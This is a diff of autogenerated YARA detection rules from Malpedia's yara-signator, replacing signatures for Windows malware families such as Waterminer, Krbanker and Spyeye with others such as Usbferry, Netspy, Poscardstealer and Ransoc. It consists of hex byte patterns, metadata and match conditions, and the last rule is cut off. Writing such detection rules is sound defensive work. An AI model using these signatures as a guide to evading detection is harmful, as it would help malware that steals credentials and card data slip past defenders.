-rule MALPEDIA_Win_Waterminer_Auto : FILE
+rule MALPEDIA_Win_Usbferry_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a6c61a63-af94-546a-ae52-fcf958232615"
+		id = "62065071-13fe-542b-a291-fb80bd43202d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.waterminer_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.usbferry_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "3dbc2a8def87fd5744e5b18617b0d65739b7ff2d0b5a69125fd601baee65e3fe"
+		logic_hash = "886d5513793c468df6b8e0477647a179848882846be144ad6058e6cfbd13a26d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177554,38 +184505,38 @@ rule MALPEDIA_Win_Waterminer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b8514f3ffff e9???????? 83bda4f5ffff00 0f8532010000 8b8db8f5ffff c1e104 83bc0dbcf9ffff00 }
-		$sequence_1 = { 03442410 4403e8 428b4405e7 418bd5 }
-		$sequence_2 = { 03bc24a8000000 488bcd 4c8d0d35cb0300 83e13f }
-		$sequence_3 = { 51 b804000000 6bc019 8b8880434b00 330d???????? 894dfc 740d }
-		$sequence_4 = { 8b8da4fbffff 83e901 898da4fbffff 83bd10fbffff00 }
-		$sequence_5 = { 8bcd 50 8d15b0854300 e8???????? }
-		$sequence_6 = { 03c0 2bc8 0f84ec040000 8d41ff 8b848288d20600 }
-		$sequence_7 = { 0344240c 4403d0 488d051a560500 418b0400 }
-		$sequence_8 = { 03c1 03d0 488d051e580500 418b0400 }
-		$sequence_9 = { 83bd60ffffff0b 0f8711060000 8b8d60ffffff ff248d74304800 0fbe55d3 }
-		$sequence_10 = { 02c8 41880c18 418a03 240f }
-		$sequence_11 = { 0344240c 4403d0 428b4405e7 418bd2 }
-		$sequence_12 = { 02d0 49ffc3 418d4001 881418 }
-		$sequence_13 = { c78538fbffff01000000 eb0a c78538fbffff00000000 8b8538fbffff 898530fbffff }
-		$sequence_14 = { 8b95c4fbffff 8995f0fbffff 8b85ecfbffff 055d010000 898580fbffff }
-		$sequence_15 = { 33c5 8945fc 8bf4 6a00 8bfc ff15???????? 3bfc }
+		$sequence_0 = { 52 8b45e0 50 ff15???????? 85c0 742c }
+		$sequence_1 = { 8b9598f5ffff 2b9588f5ffff 8b8588f5ffff 89857cf5ffff 899578f5ffff }
+		$sequence_2 = { e9???????? ff75e0 a1???????? ff5060 8d45e0 }
+		$sequence_3 = { c3 3b0d???????? f27502 f2c3 f2e960030000 55 }
+		$sequence_4 = { 8b525c e8???????? 8b15???????? 8b4d84 ff7210 89425c }
+		$sequence_5 = { 803f2e 7402 33ff 85ff 7407 8d45e9 }
+		$sequence_6 = { c645df6f c645e06e c645e100 c685a4f5ffff00 68ff030000 }
+		$sequence_7 = { 2b858cf5ffff 8b8d8cf5ffff 898d84f5ffff 898580f5ffff 8d95a8feffff 83c2ff }
+		$sequence_8 = { 8b7d0c 33db 895ddc c745e000040000 895dfc 8d45dc }
+		$sequence_9 = { 89814c010000 8b09 e8???????? 8b0d???????? ff7110 8b9154010000 }
+		$sequence_10 = { ff7110 8b517c 894178 8b09 e8???????? 8b0d???????? }
+		$sequence_11 = { 8a460e 8bcf 8845fb 8d45fb }
+		$sequence_12 = { 33c5 8945fc c685fcfffeff00 68ffff0000 }
+		$sequence_13 = { 8885a0f5ffff 838590f5ffff01 80bda0f5ffff00 75e1 }
+		$sequence_14 = { 0f2805???????? 0f1145c8 6a00 0f2805???????? 0f1145d8 50 }
+		$sequence_15 = { 50 8d45f0 64a300000000 c745e000000000 c745fc00000000 837d2000 }
 
 	condition:
-		7 of them and filesize <1556480
+		7 of them and filesize <638976
 }
-rule MALPEDIA_Win_Unidentified_071_Auto : FILE
+rule MALPEDIA_Win_Glooxmail_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9e4ae8e5-b01b-5dfb-9ebf-d96081ff094b"
+		id = "9fc08289-2c15-5e6a-a020-5e3374a227b0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_071_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glooxmail_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "cf757bc05d123f04b705025eb8059bfc6f948c6a237ae24790160c041569438f"
+		logic_hash = "3f9c49f2bcdac7dc8871b003117cb741dd79fa085062dcf8b6237e67caf4dc2a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177599,32 +184550,32 @@ rule MALPEDIA_Win_Unidentified_071_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? ff35???????? a3???????? a1???????? 0faf05???????? a3???????? e8???????? }
-		$sequence_1 = { 6a20 8901 83c8ff 5a 895104 894108 d1e8 }
-		$sequence_2 = { 8bd9 8b4b10 2bc1 894c2404 3bc2 0f82a7000000 8b4314 }
-		$sequence_3 = { 6a10 5a 0f44ca 51 50 ff15???????? }
-		$sequence_4 = { c3 33c0 c3 8b5108 b8ffffff0f }
-		$sequence_5 = { ff36 e8???????? 8b0e 8b4608 2bc1 894df8 6a18 }
-		$sequence_6 = { 8b4c2420 8d346d00000000 8b542428 56 ff742428 8d044a }
-		$sequence_7 = { c20400 55 8bec 8b450c ff7510 2b4508 c1f804 }
-		$sequence_8 = { 0f8290000000 8b4314 55 56 57 8d3c11 }
-		$sequence_9 = { 85c0 8b4314 740d 25ffffff82 0d00000002 894314 0fb64b01 }
+		$sequence_0 = { 834dfcff 6a00 53 8d4d38 }
+		$sequence_1 = { e8???????? 899c2460800000 895c240c 895c2410 68ff7f0000 8d442451 53 }
+		$sequence_2 = { 57 8d8c24f4030000 e8???????? 8d8c2418080000 51 8d8c24f4030000 c684246408000030 }
+		$sequence_3 = { 0f840c000000 8365f0fe 8d4dc4 e9???????? c3 8b542408 8d420c }
+		$sequence_4 = { b8???????? e9???????? 8d4d00 e9???????? 8d4dd4 e9???????? 8d4dd4 }
+		$sequence_5 = { 59 c3 8b85acf7ffff 2500000400 0f8415000000 81a5acf7fffffffffbff }
+		$sequence_6 = { e8???????? 8bd9 895de8 8d7b04 8d7308 c703???????? c707???????? }
+		$sequence_7 = { c700???????? c74004???????? c74008???????? c7400cb04a4400 c74010bc4a4400 c74014c84a4400 c74018d44a4400 }
+		$sequence_8 = { 8d8d2cffffff e9???????? c3 8b542408 8d82acfbffff 8b8aa8fbffff 33c8 }
+		$sequence_9 = { ff750c 8b01 ff5044 84c0 7504 b301 eb02 }
 
 	condition:
-		7 of them and filesize <1220608
+		7 of them and filesize <761856
 }
-rule MALPEDIA_Win_Krbanker_Auto : FILE
+rule MALPEDIA_Win_Netspy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "236e4eb3-f9a9-5a5c-939d-2dd344c94ac6"
+		id = "59f8d53f-335b-5ed2-a6be-e28bbbbbcf22"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.krbanker_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netspy_auto.yar#L1-L104"
 		license_url = "N/A"
-		logic_hash = "d1369d0e33548d319048c3c036e2e47c22a922a80b7ada061139a11ddd9f8b91"
+		logic_hash = "5f6115aa578488570bf6917737e346bbf4658a865ab8c32a6d3ce07b27ad566b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177638,34 +184589,32 @@ rule MALPEDIA_Win_Krbanker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c404 58 8945dc 837ddc00 }
-		$sequence_1 = { 83c404 58 8945fc b8???????? 50 }
-		$sequence_2 = { 6801000000 bb40010000 e8???????? 83c410 8945c8 6801010080 6a00 }
-		$sequence_3 = { 0faf03 ebf5 8bc8 c3 55 8bec 83c4f4 }
-		$sequence_4 = { 75a4 dd442410 e8???????? 8ad8 }
-		$sequence_5 = { 7762 7415 3d04000080 7417 3d01010080 }
-		$sequence_6 = { bb40010000 e8???????? 83c410 8945cc ff75cc ff75d0 }
-		$sequence_7 = { 8a5c2410 8ac3 5e 5b c3 8b542410 83ec0c }
-		$sequence_8 = { 8b5dfc 83c304 895df8 8965f4 ff7514 }
-		$sequence_9 = { 03d8 895dd4 8b5df8 e8???????? }
+		$sequence_0 = { 0f45c8 488b85e8330000 8908 8b15???????? 833d????????0a 0f9cc1 }
+		$sequence_1 = { 4989e1 4c898d905b0000 e8???????? 4829c4 488b85f81e0000 4989e1 }
+		$sequence_2 = { e9???????? 488b85003a0000 8b10 89d1 }
+		$sequence_3 = { c3 488b4df0 b810000000 e8???????? 4829c4 }
+		$sequence_4 = { 488b8578430000 8b00 898580430000 8b15???????? 833d????????0a 0f9cc1 }
+		$sequence_5 = { 4889e1 e8???????? 4829c4 488b85d8310000 4889e2 458910 }
+		$sequence_6 = { e8???????? 4829c4 488b8540150000 4989e1 4c898d00600000 e8???????? }
+		$sequence_7 = { a801 0f8515000000 65488b042560000000 488985406b0000 e9???????? 488b85406b0000 488b4018 }
 
 	condition:
-		7 of them and filesize <1826816
+		7 of them and filesize <12033024
 }
-rule MALPEDIA_Win_Smanager_Auto : FILE
+rule MALPEDIA_Win_Sienna_Purple_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7788af6d-844d-509b-90a8-b8ca5df742b1"
+		id = "cf85ec2b-384f-56db-af6a-79031e73a14e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smanager_auto.yar#L1-L224"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sienna_purple_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "7070ed4ef9fc0031fffb8ae0d3a2a122913a3a51a0e1a419190de42eef9b5039"
+		logic_hash = "ba62dd8b8de50fe0a193f425d94a0b3b25a4b9e54845758b6f1fb176e28dc859"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -177677,46 +184626,32 @@ rule MALPEDIA_Win_Smanager_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a0d e8???????? 83c404 8bf0 }
-		$sequence_1 = { 51 ffd0 83c40c c7460800000000 }
-		$sequence_2 = { 7410 6a00 6a00 6830001100 }
-		$sequence_3 = { 8b7604 6a00 6a00 56 68???????? 6a00 6a00 }
-		$sequence_4 = { 8b4608 85c0 7420 a801 7515 }
-		$sequence_5 = { 8b4510 85c0 7407 50 ff15???????? }
-		$sequence_6 = { 68???????? 6a00 6a00 ff15???????? 8bf8 897e28 }
-		$sequence_7 = { 83c602 6a22 56 e8???????? 83c408 }
-		$sequence_8 = { ff15???????? 32c0 e9???????? 0f1005???????? }
-		$sequence_9 = { 0007 b15a 0007 b15a }
-		$sequence_10 = { 0000 80ed4a 0044feff ff900100008c }
-		$sequence_11 = { 4c8d9c24d0010000 498b5b28 498b7330 498b7b38 498be3 415f }
-		$sequence_12 = { 41c7430800000000 488d59b0 488d0532730100 498943e0 488d0537730100 }
-		$sequence_13 = { 0008 53 4f 00ef }
-		$sequence_14 = { 4885c0 7463 41b80f000000 488d159ab90100 488bc8 e8???????? }
-		$sequence_15 = { 44894de9 66448955f1 418bc8 8bc2 4c8d0de10b0100 c1e918 }
-		$sequence_16 = { 488bf8 448b842480000000 33d2 488bc8 e8???????? 4533f6 }
-		$sequence_17 = { 0007 b15a 00c4 b15a }
-		$sequence_18 = { 41b803000000 488d0d908e0000 4533c9 ba00000040 4489442420 ff15???????? }
-		$sequence_19 = { 0003 b157 0000 0c0c }
-		$sequence_20 = { 0007 b15a 0089b05a0089 b05a }
-		$sequence_21 = { 7404 b301 eb03 448937 }
-		$sequence_22 = { 0001 ce 50 0008 }
-		$sequence_23 = { 0000 0c0c 0c0c 0c0c 0c0c 0c0c 0102 }
+		$sequence_0 = { e8???????? 8d4e08 c645fc02 c706???????? e8???????? 8bc6 8b4df4 }
+		$sequence_1 = { b8e5040000 5e 5d c3 68???????? 56 e8???????? }
+		$sequence_2 = { e8???????? 50 8d8f84040000 e8???????? b301 8d4db0 c745fcffffffff }
+		$sequence_3 = { 8d5729 f30f7f4728 f30f6f4310 f30f7f4738 f30f6f4320 f30f7f4748 f30f6f4330 }
+		$sequence_4 = { ff5014 8d8570ffffff 8bcf 50 68???????? e8???????? 8bce }
+		$sequence_5 = { f30f6f40f0 660fefc8 f30f7f48f0 3bd1 72c4 8bb540ffffff 8b8d6cffffff }
+		$sequence_6 = { c1e81f 23c8 8b421c 35ff000000 48 c1e81f 23c8 }
+		$sequence_7 = { c7072e000000 e9???????? 80be2501000000 7418 8b8d84fdffff e8???????? 50 }
+		$sequence_8 = { eb09 50 56 8bcb e8???????? 8b4df4 64890d00000000 }
+		$sequence_9 = { c1c70a 0bc8 8d83dcbc1b8f 034db4 03c1 8b5de8 c1c005 }
 
 	condition:
-		7 of them and filesize <10013696
+		7 of them and filesize <2930688
 }
-rule MALPEDIA_Win_Andardoor_Auto : FILE
+rule MALPEDIA_Win_Poscardstealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a2062653-6e94-5023-8019-c5f17c84046c"
+		id = "30b86ec5-11cf-5ead-8d33-f96f4fd997a4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.andardoor_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poscardstealer_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "3510472d198d8ac0d724063f8fb842ce0d2281170e5fd2c286cfefa5f50dca2c"
+		logic_hash = "e2bc29fc53d916c8c6261d35dc13ec4aa0c9f6d2e8252ac3a60894a094beda3f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177730,32 +184665,32 @@ rule MALPEDIA_Win_Andardoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c8d8c2400020000 33d2 0f1f8000000000 410fb60c11 880c10 488d5201 84c9 }
-		$sequence_1 = { 6690 488bcb ff15???????? a810 741f 40383d???????? 0f84d0000000 }
-		$sequence_2 = { 48895c2458 ff15???????? 85c0 752b 488b0d???????? 4885c9 7406 }
-		$sequence_3 = { 4881ecf0030000 0f2970d8 0f2978c8 488b05???????? }
-		$sequence_4 = { 0f2970d8 0f2978c8 488b05???????? 4833c4 488985c0020000 }
-		$sequence_5 = { 41b880000000 e8???????? 4533c9 4c8d442430 }
-		$sequence_6 = { b943150000 6689742468 ff15???????? 668944246a 41b810000000 }
-		$sequence_7 = { 488bf8 4885c0 0f84ed000000 b943150000 6689742468 ff15???????? }
-		$sequence_8 = { 488bf9 33d2 33c9 498bf0 ff15???????? 85c0 7407 }
-		$sequence_9 = { 488bcf ff15???????? 488bf8 488d4ffe }
+		$sequence_0 = { c645fc01 e8???????? 8d4db8 51 50 8d55d4 }
+		$sequence_1 = { 33d2 bb07000000 895de8 8975e4 }
+		$sequence_2 = { 50 ff15???????? 8bf0 8d45b0 50 }
+		$sequence_3 = { 03c8 83fb10 7303 8d55d4 }
+		$sequence_4 = { 8bd1 c1fa05 c1e006 030495e0794200 eb05 b8???????? f6400420 }
+		$sequence_5 = { c785e8feffff7ce74100 8b8520ffffff c645fc07 894598 }
+		$sequence_6 = { 8b4da4 8b5590 8bc2 83f908 7303 }
+		$sequence_7 = { 885dd4 e8???????? 8b0d???????? 8b35???????? 2bce b893244992 f7e9 }
+		$sequence_8 = { 6800000040 50 ff15???????? 8bf0 8d45c4 50 }
+		$sequence_9 = { e9???????? 8d8d58feffff e9???????? 8d8d10ffffff e9???????? 8d8d48ffffff e9???????? }
 
 	condition:
-		7 of them and filesize <339968
+		7 of them and filesize <362496
 }
-rule MALPEDIA_Win_Spyeye_Auto : FILE
+rule MALPEDIA_Win_Computrace_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4b228779-0f96-5a8e-b676-8a6d855d1452"
+		id = "4429b6f7-4609-5864-be9b-bd86b296052a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spyeye_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.computrace_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "54f45a6b713b51a15663c9347e916cec35361fbd1f12608b97d32ef9d0a49fb7"
+		logic_hash = "d8751f69a58562c91660e3060ff3b6e112f846c07b191aab11a4034542037b61"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177769,32 +184704,32 @@ rule MALPEDIA_Win_Spyeye_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4de8 51 8d4de0 51 50 e8???????? 85c0 }
-		$sequence_1 = { 6a07 6800000040 57 e8???????? 8bf8 83ffff }
-		$sequence_2 = { 6889000000 ff7508 33db 897df8 }
-		$sequence_3 = { 57 6800000002 6a03 57 6a01 56 }
-		$sequence_4 = { 56 6880000000 6a02 eb08 56 6880000000 6a04 }
-		$sequence_5 = { 85c0 7407 c745f801000000 397dfc 740e }
-		$sequence_6 = { be80000000 56 6a03 57 6a01 6889000000 ff7508 }
-		$sequence_7 = { 53 e8???????? 85c0 7407 c745f801000000 397dfc 740e }
-		$sequence_8 = { 8965fc ff7510 ff750c ff7508 ffd0 8b65fc }
-		$sequence_9 = { 7454 57 56 6a03 }
+		$sequence_0 = { ff75cc e8???????? 3975e4 753a }
+		$sequence_1 = { e8???????? 8a4002 8b0d???????? 8801 ff35???????? }
+		$sequence_2 = { 740e 837de400 7408 037de4 897dd8 eba6 8b4514 }
+		$sequence_3 = { 7503 800e08 e8???????? 894604 ff750c 8f4618 }
+		$sequence_4 = { e30d 83c00a 51 ff750c 50 e8???????? }
+		$sequence_5 = { e8???????? 837de400 0f8593feffff 8b86481b0000 83786c00 0f8483feffff }
+		$sequence_6 = { 8b7508 80665cfe 33c0 8945fc 8845fb 6689461a 48 }
+		$sequence_7 = { 7414 c745dc01000000 897d8c 6af1 }
+		$sequence_8 = { e8???????? 8945e4 3bc6 7417 }
+		$sequence_9 = { ff15???????? f7d8 1bc0 40 57 }
 
 	condition:
-		7 of them and filesize <741376
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Proto8_Rat_Auto : FILE
+rule MALPEDIA_Win_Ransoc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "67c17406-b8bd-51d3-bd06-6c282d2d9ba4"
+		id = "961c0c93-e6c6-5111-8367-8742ed436406"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.proto8_rat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ransoc_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "b74b2b80c633a7bf227b4dcb10a54e0eaa49fb3d590fb7e951e6a918637cc88c"
+		logic_hash = "2d366ed2132c1270c1bab4c471d75e367a89089f653123f697fac204fd95b124"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177808,32 +184743,32 @@ rule MALPEDIA_Win_Proto8_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7819 8d4a01 0f1f00 488b5b08 4883e901 75f6 eb07 }
-		$sequence_1 = { f04e0fb13409 483bd0 752b 4885d2 7426 440fb68c24c8000000 498bcc }
-		$sequence_2 = { 488b4008 48894708 488b4630 488907 488b4630 488b4808 488939 }
-		$sequence_3 = { 764f 6666660f1f840000000000 458bc1 8bd5 49c1e006 4c034360 4183780800 }
-		$sequence_4 = { 0f10442428 488b842488000000 0f1100 f20f104c2438 f20f114810 b001 eb02 }
-		$sequence_5 = { e8???????? 84c0 751d 488b03 488bcb ff5018 488bf0 }
-		$sequence_6 = { 4053 4883ec20 488d05634f0400 488bd9 488901 f6c201 740a }
-		$sequence_7 = { f20f114808 0f28cf 488b41e0 f20f594020 f20f114008 488b41e8 f20f594820 }
-		$sequence_8 = { ff15???????? 85c0 757f ff15???????? 3d002f0000 74be 488b4c2440 }
-		$sequence_9 = { 8b842490000000 03ce 894c2428 3bc8 0f829afdffff 4c8b7c2440 4c8b642448 }
+		$sequence_0 = { 8b573c 50 57 ffd2 ff4e3c 8b462c 8b4e3c }
+		$sequence_1 = { 8bf0 8b5630 57 8d7e30 }
+		$sequence_2 = { 894240 8b5040 895140 3bd7 741e }
+		$sequence_3 = { 89703c 8b5134 895030 3bd7 7406 8b5134 }
+		$sequence_4 = { 85c0 75f2 8b7140 85f6 758b 68???????? }
+		$sequence_5 = { 740f 83f907 740a 83f906 }
+		$sequence_6 = { 89462c a820 7406 8b4604 014804 8b462c a900080000 }
+		$sequence_7 = { 895148 8b4830 85c9 7406 8b5034 895134 8b4834 }
+		$sequence_8 = { 83c408 c3 6a00 6a01 55 }
+		$sequence_9 = { 8b56e4 89542414 8d5c2410 891a 89442410 8b5004 8956e4 }
 
 	condition:
-		7 of them and filesize <2537472
+		7 of them and filesize <958464
 }
-rule MALPEDIA_Win_Rockloader_Auto : FILE
+rule MALPEDIA_Win_Compfun_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "175eaa7b-da5b-50b8-b46d-cecd53211dcf"
+		id = "b70b97d4-0cf0-525a-92ea-8899bccf1319"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rockloader_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.compfun_auto.yar#L1-L161"
 		license_url = "N/A"
-		logic_hash = "8a75e6c1f9302fef80e04ef409ea5d10afc0d829be15769e71fe72b02405b4ff"
+		logic_hash = "a0b696c7a840205849cf5ac2e95df1021718fd8d1c1053a2c6b648baa042ec58"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177847,32 +184782,38 @@ rule MALPEDIA_Win_Rockloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? dc1d???????? dfe0 f6c441 740f }
-		$sequence_1 = { e8???????? 85c0 74b4 c6002c 40 837d0c00 7404 }
-		$sequence_2 = { 8a06 3c22 750c ff7508 8bc6 e8???????? }
-		$sequence_3 = { 8b45f4 8945e8 8d45f8 50 8d45e4 }
-		$sequence_4 = { eb05 68???????? e8???????? 8bf8 8bc7 }
-		$sequence_5 = { e8???????? 33f6 53 8975f8 }
-		$sequence_6 = { 3975f4 7e55 53 8b45f8 }
-		$sequence_7 = { ff4608 8b7f08 85ff 7452 8b4508 }
-		$sequence_8 = { d9ee 53 56 dd55ec d9e8 33f6 }
-		$sequence_9 = { 8975f8 db45f8 8365f800 dec1 dd5ddc 9b }
+		$sequence_0 = { 8d857cfeffff 50 8d857cffffff 50 e8???????? 59 50 }
+		$sequence_1 = { c7460c65726174 c746106f722063 c746146c617373 c6461800 8bc6 5e }
+		$sequence_2 = { 56 e8???????? 83c40c c74608697a6520 c70647657446 c74604696c6553 c6460b00 }
+		$sequence_3 = { c7460472656174 c7460865557365 c7460c72546872 c6461300 }
+		$sequence_4 = { e8???????? 83c40c c7460c33322020 c706496e7072 }
+		$sequence_5 = { 6880000000 6a00 56 e8???????? 83c40c c70647657446 c74604756c6c50 }
+		$sequence_6 = { c6460f00 8bc6 5e 5d c3 55 }
+		$sequence_7 = { c7460825202020 c70625415050 c7460444415441 c6460900 8bc6 5e }
+		$sequence_8 = { 034c2460 488b442450 894820 488b4c2450 }
+		$sequence_9 = { 03c1 4863d0 488b4c2430 488b442438 }
+		$sequence_10 = { 03c1 89442420 8b442420 83c001 }
+		$sequence_11 = { 03c1 89442420 8b4c2438 488b442450 }
+		$sequence_12 = { 03c1 89442420 8b542438 486bd218 }
+		$sequence_13 = { 034c242c 488b442470 894820 488d542440 }
+		$sequence_14 = { 03c1 89442434 8b442430 39442434 }
+		$sequence_15 = { 0344242c 8bc8 e8???????? 4889442448 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <402432
 }
-rule MALPEDIA_Win_Uacme_Auto : FILE
+rule MALPEDIA_Win_Calmthorn_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f5c3a5f2-a252-5543-b1be-134e5f419833"
+		id = "8cbb3f25-515c-5fed-8b4e-4a931d9bfb1a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.uacme_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.calmthorn_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "9cc750a1f13cae79bcf2cd2e379aedeb4cbdf45f9813c77d239c596ff07109f6"
+		logic_hash = "98170ddc8dfcd366956427aafd69264166f05ad426e5dc909d0630e51620ea92"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177886,32 +184827,32 @@ rule MALPEDIA_Win_Uacme_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ba???????? e8???????? 8d8df0fbffff e8???????? 8bf8 85ff 741b }
-		$sequence_1 = { ff9620060000 33c0 5e 8be5 5d c20400 }
-		$sequence_2 = { eb23 8b4d08 e8???????? 03c0 }
-		$sequence_3 = { 8d45d8 50 6804900000 56 ff15???????? 6808700000 56 }
-		$sequence_4 = { ba???????? 8d8940040000 e8???????? 8b45fc ff7010 ffd6 }
-		$sequence_5 = { 8bd8 85db 74d3 8b5508 8bcb e8???????? }
-		$sequence_6 = { 668974242e ff15???????? 85c0 0f88c9040000 ff15???????? b940040000 }
-		$sequence_7 = { e8???????? 8bce 8d85e0fbffff 8818 40 83e901 }
-		$sequence_8 = { b9???????? e8???????? 6683bdf0fbffff00 8bf0 740d 8d85f0fbffff 50 }
-		$sequence_9 = { 8d85f0fbffff 50 8d85e0f7ffff 50 e8???????? 8bd8 }
+		$sequence_0 = { c78548adffff00000000 eb0f 8b8548adffff 83c001 898548adffff 8b8d68f9ffff 51 }
+		$sequence_1 = { e8???????? 83c404 3985dcf3ffff 7d20 8b954cfaffff 83c201 89954cfaffff }
